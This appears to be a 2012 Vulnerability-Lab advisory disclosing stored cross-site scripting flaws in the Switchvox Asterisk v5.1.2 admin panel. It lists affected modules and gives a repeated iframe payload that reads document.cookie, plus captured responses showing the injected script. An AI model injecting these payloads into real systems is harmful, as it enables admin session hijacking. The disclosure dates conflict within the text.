Title:
======
Switchvox Asterisk v5.1.2 - Multiple Web Vulnerabilities 

Date:
=====
2012-09-10


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=700


VL-ID:
=====
700


Common Vulnerability Scoring System:
====================================
4.1


Introduction:
=============
Switchvox is based on the open source IP PBX, Asterisk, and the Linux operating 
system. It provides an easy 
to deploy solution for businesses looking for the power of an enterprise PBX 
with high reliability, excellent support, 
and low cost. The simple point-and-click online interface allows virtually 
anyone to set up and manage the system, 
and because it comes as a pre-configured turnkey package, the server and phones 
are all plug and play. Switchvox now 
offers a free edition. This edition is limited to 15 Extensions (Requires Free 
registration) and does not support the 
digital Digium cards, other than that it is similar to the SOHO version.

Switchvox supports unlimited extensions and has all the basic features that you 
d expect from a PBX, like voicemail, 
custom music on hold, time based behaviors, conferencing, call parking, 
intercom and paging. It also includes features 
that are typically associated with expensive enterprise systems, such as ACD 
queues, find me/follow me functionality, 
unlimited powerful IVR menus that can interact with your company s databases 
(Press one for sales or please enter your 
account number followed by the pound key...), MS Outlook integration, and 
advanced call reporting.

Starting at $995, Switchvox is suitable for businesses of one person to 
hundreds looking to elevate their communication, 
improve productivity, and save money on long distance charges. Switchvox 
supports VoIP, regular phone lines, and voice 
T1 connections, so that your business can configure the system to best handle 
your typical calling behavior.

(Copy of the Vendor Homepage: http://www.switchvox.com/ )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple persistent web 
vulnerabilities in the Switchvox Appliance with Asterisk v5.1.2.


Report-Timeline:
================
2011-09-10:     Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
Multiple persistent input validation vulnerabilities are detected in the 
Switchvox Appliance with Asterisk v5.1.2.
The bugs allow remote attackers to implement/inject malicious script code on 
the application side. The vulnerabilities are 
located in setup and tools modules of the admin panel. Successful exploitation 
of the vulnerability can lead to session 
hijacking (manager/admin) or stable context manipulation. Exploitation requires 
low user inter action & low or medium 
privileged user web application account.


Vulnerable Module(s): 
                                [+] Tools -> Sound Manager -> Create sound 
                                [+] Tools -> SugarCRM switchboard Panel -> setup
                                [+] Setup -> Groups -> Create Extension Group
                                [+] Setup -> Outgoing calls -> Create Outgoing 
Call rule
                                [+] Setup -> Incoming Calls -> Caller DID 
routes -> Create Single DID Route
                                [+] Setup -> Incoming Calls -> Caller ID Rules 
-> Create Call transfer Call

Vulnerable Parameter(s):
                                [+] [Description]
                                [+] [SugarCRM Web URL] [SugarCRM SOAP URL] 
                                [+] [Note]


Proof of Concept:
=================
The persistent vulnerabilities can be exploited by local low privileged user 
account with low or medium required user inter action. 
For demonstration or reproduce ...

Review: Tools -> Sound Manager -> Create sound [Description]
PoC: <iframe src="http://www.vulnerability-lab.com"; 
onload=alert(document.cookie)></iframe> 

Review: Tools -> SugarCRM switchboard Panel -> setup [SugarCRM Web URL] 
[SugarCRM SOAP URL]   --> to see the poc press on test CRM Settings

PoC: <iframe src="http://www.vulnerability-lab.com"; 
onload=alert(document.cookie)></iframe> 

Review: Setup -> Groups -> Create Extension Group [Note]
PoC: <iframe src="http://www.vulnerability-lab.com"; 
onload=alert(document.cookie)></iframe> 

Review: Setup -> Outgoing calls -> Create Outgoing Call rule [Note]
PoC: <iframe src="http://www.vulnerability-lab.com"; 
onload=alert(document.cookie)></iframe> 

Review: Setup -> Incoming Calls -> Caller DID routes -> Create Single DID Route 
[Note]
PoC:<iframe src="http://www.vulnerability-lab.com"; 
onload=alert(document.cookie)></iframe>  

Review: Setup -> Incoming Calls -> Caller ID Rules -> Create Call transfer Call 
[Note]
PoC: <iframe src="http://www.vulnerability-lab.com"; 
onload=alert(document.cookie)></iframe>

1- Tools -> Sound Manager -> Create sound [Description]
2- Tools -> SugarCRM switchboard Panel -> setup [SugarCRM Web URL] [SugarCRM 
SOAP URL]   --> to see the poc press on test CRM Settings
3- Setup -> Groups -> Create Extension Group [Note]
4- Setup -> Outgoing calls -> Create Outgoing Call rule [Note]
5- Setup -> Incoming Calls -> Caller DID routes -> Create Single DID Route 
[Note]
6- Setup -> Incoming Calls -> Caller ID Rules -> Create Call transfer Call 
[Note]


1.
URL: 
https://asterisk-switchvox.127.0.0.1:1337/admin?cmd=modify_sound&sound_id=478


<div class="desc_div"><b>Description:</b> Your new password must be different 
than your old password. 
Please try again.<br>>"<[PERSISTENT INJECTED SCRIPT CODE!]"><br/>>"<[PERSISTENT 
INJECTED SCRIPT CODE!]")</ifram></iframe></div>



2.
URL: 
https://asterisk-switchvox.127.0.0.1:1337/admin?plugin_name=sugarcrm&admin_sbplugins_id=1&cmd=modify_crm_plugin&sugarcrm=1


["1101"],"plugin_type":"system","plugin_description":"Lookup up and display 
contact information straight from your SugarCRM 
server.","plugin_display":"SugarCRM","plugin_name":"sugarcrm","admin_sbplugins_id":"1","proxy":"http://>\"<[PERSISTENT
 INJECTED SCRIPT CODE!]")
</iframe>","uri":"http://>\"<[PERSISTENT INJECTED SCRIPT CODE!]")


3.
URL: https://asterisk-switchvox.127.0.0.1:1337/admin?cmd=extension_groups


<div style="margin-right: 5px; display: none;"><div style="width: 400px;" 
class="pwm_container_padding"><div>>"<[PERSISTENT INJECTED SCRIPT CODE!]")
</iframe'>>"<[PERSISTENT INJECTED SCRIPT CODE!]")</iframe>>"<[PERSISTENT 
INJECTED SCRIPT CODE!]")
</iframe'></iframe></div><div class="clear"></div></div></div></div>
<div style="display: none;" class="pwm_top_arrow"></div><div style="left: 
187px; top: 354px;" class="pwm_bottom_arrow"></div>


4.
URL: https://asterisk-switchvox.127.0.0.1:1337/admin?cmd=add_outgoing_rule


{"call_through":{"internal":{}},"priority":"9","name":"test","description":">\"<[PERSISTENT
 INJECTED SCRIPT CODE!]")</iframe> >\"
<[PERSISTENT INJECTED SCRIPT 
CODE!]>","failovers":{},"is_final":"0","pattern":"Begins with 13 and the 
remainder is 23 to 90 digits in 
length","id":"103","context_type":"USER"}],"total_items":"9"}},"allExtensions":


5.
URL: 
https://asterisk-switchvox.127.0.0.1:1337/admin?cmd=incoming_rules&passthrough=1#pageTab=did_routes

code 

"number":"123","name":"test","note":">\"<[PERSISTENT INJECTED SCRIPT 
CODE!]")</iframe>","force_fax":"0","any_provider":"1","type":"route_number","id":"3","call_type":"0"},
{"priority":"20000","action":"busy","type":"catchall_unknown_route","id":"1"}],"total_items":"3"}},"switchvox_version":"40062","
menu_structure":[{"children":[{"children":[{"cmd":"view_extensions","id":"manage_extensions","display":"Manage"},{"cmd":"extension_groups","id":"extension_groups","display":"Groups"},{"cmd":"extension_templates","id":"extension_templates","display":"Templates"},
{"cmd":"extension_permissions","id":"extension_permissions","display":"Permissions"},{"cmd":"phone_setup","id":"extension_phones","display":"Phones"},
{"cmd":"extension_settings","id":"extension_settings","display":"Settings"}],"id":"extensions","column":1,"display":"Extensions"},{"children":
[{"cmd":"channel_groups","id":"channel_groups","display":"Channel 
Groups"},{"cmd":"voip_providers","id":"voip_providers","display":"VOIP 
Providers"},
{"cmd":"outgoing_rules","id":"outgoing_calls","display":"Outgoing Calls"},


6.
URL: 
https://asterisk-switchvox.127.0.0.1:1337/admin?cmd=incoming_rules#pageTab=caller_id_rules


Risk:
=====
The security risk of the  persistent input validation vulnerabilities are 
estimated as medium(+).



Credits:
========
Vulnerability Laboratory [Research Team]  -    Ibrahim M. El-Sayed [the StOrM) 
(st...@vulnerability-lab.com) [http://iel-sayed.blogspot.com]



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